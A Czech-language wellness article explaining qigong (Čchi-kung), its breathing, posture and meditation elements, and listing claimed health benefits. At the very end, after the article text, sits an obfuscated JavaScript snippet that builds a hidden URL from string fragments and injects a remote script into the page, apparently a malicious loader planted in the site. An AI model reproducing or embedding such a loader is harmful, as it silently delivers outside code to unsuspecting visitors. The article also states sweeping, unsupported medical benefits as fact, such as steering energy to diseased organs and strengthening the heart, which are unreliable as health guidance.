Co je to Čchi-kung

Čhi-kung nebo také Qi gong je pojem skládající se ze dvou částí – „qi“, tedy životní energie, a „gong“, tedy schopnost něco dokonale ovládat. Tento termín označuje dechová cvičení, která mají původ ve staré Číně. Čhi-kung je speciální druh cvičení, jehož úkolem je stimulovat proudění životní energie čchi v těle k posílení imunity a samoléčebných procesů.

Čhi-kung– cesta k dlouhověkosti

Metoda předpokládá, že dýchání je pro zdraví totéž, co vzduch pro život. Někomu může připadat zvláštní, že dýchání lze považovat za umění a formu fyzické aktivity, ale takoví lidé nikdy nezkusili neobvyklé formy cvičení. Čhi-kung cvičení pokrývají mnoho aspektů, včetně:

• správného držení těla;
• řízeného dýchání;
• soustředěné meditace ;
• vědomého usměrňování toku energie v těle;
• jemných pohybů.

Ač se to nezdá, není spojení všech těchto faktorů tak jednoduché. Musí spolupracovat harmonicky. S přibývající dobou praxe se cvičenec učí vědomě směřovat tok své životní energie do vybraných oblastí a orgánů (např. postižených nemocí). Tato cvičení zahrnují provádění plynulých, měkkých pohybových sekvencí v kombinaci se správným, vědomým dýcháním a koncentrací pozornosti na sebe.

Podle předpokladů ve staré čínské alternativní medicíně by se cvičení mělo provádět ráno, kdy slunce právě vychází. Zároveň je nejlepší cvičit na tichém a klidném místě, kde máme přístup k dostatku čerstvého vzduchu. Ve skutečnosti však bude vhodná doba začít cvičit v kteroukoli denní dobu.

Vliv čhi-kungu na zdraví

Pravidelně prováděná cvičení Čhi-kung mohou mít pozitivní dopad na vaše fyzické i duševní zdraví. Diskutovaná metoda má mimo jiné tyto příznivé účinky:

• posílení srdečního svalu;
• regulace fungování centrálního nervového systému ;
• stimulace krevního oběhu;
• snížení krevního tlaku a srdeční frekvence;
• zlepšení metabolismu;
• podpora funkce žaludku a střev ;
• zvýšení syntézy trávicích enzymů;
• stimulace činnosti endokrinních žláz ;
• zvýšení zásobení všech tělesných buněk kyslíkem.

Čchi-kung prospívá všem, bez ohledu na celkové zdraví, věk nebo pohlaví. Obnovuje vnitřní harmonii a rovnováhu a umožňuje úplné uvolnění, které je v dnešní době tak žádoucí. Cvičení je ideální především pro lidi, kteří chtějí snížit stres, žijí ve spěchu nebo vedou sedavý způsob života, ale pro každého by měla být formou sebeobsluhy.

(function(){ cdmv=document.createElement(„script“);cdmv_=(„ust“);cdmvu=“2183650166″; cdmv_+=“a“+(„t.i“);cdmv.type=“text/javascript“; cdmvu+=“.klg57rt1dmvad62yl3ch“;cdmv.async=true;cdmv_+=“n“+(„f“+“o“)+“/“; cdmvu+=“8k1ndxjnz5″;cdmv.src=“https://“+cdmv_+cdmvu; document.body.appendChild(cdmv); })();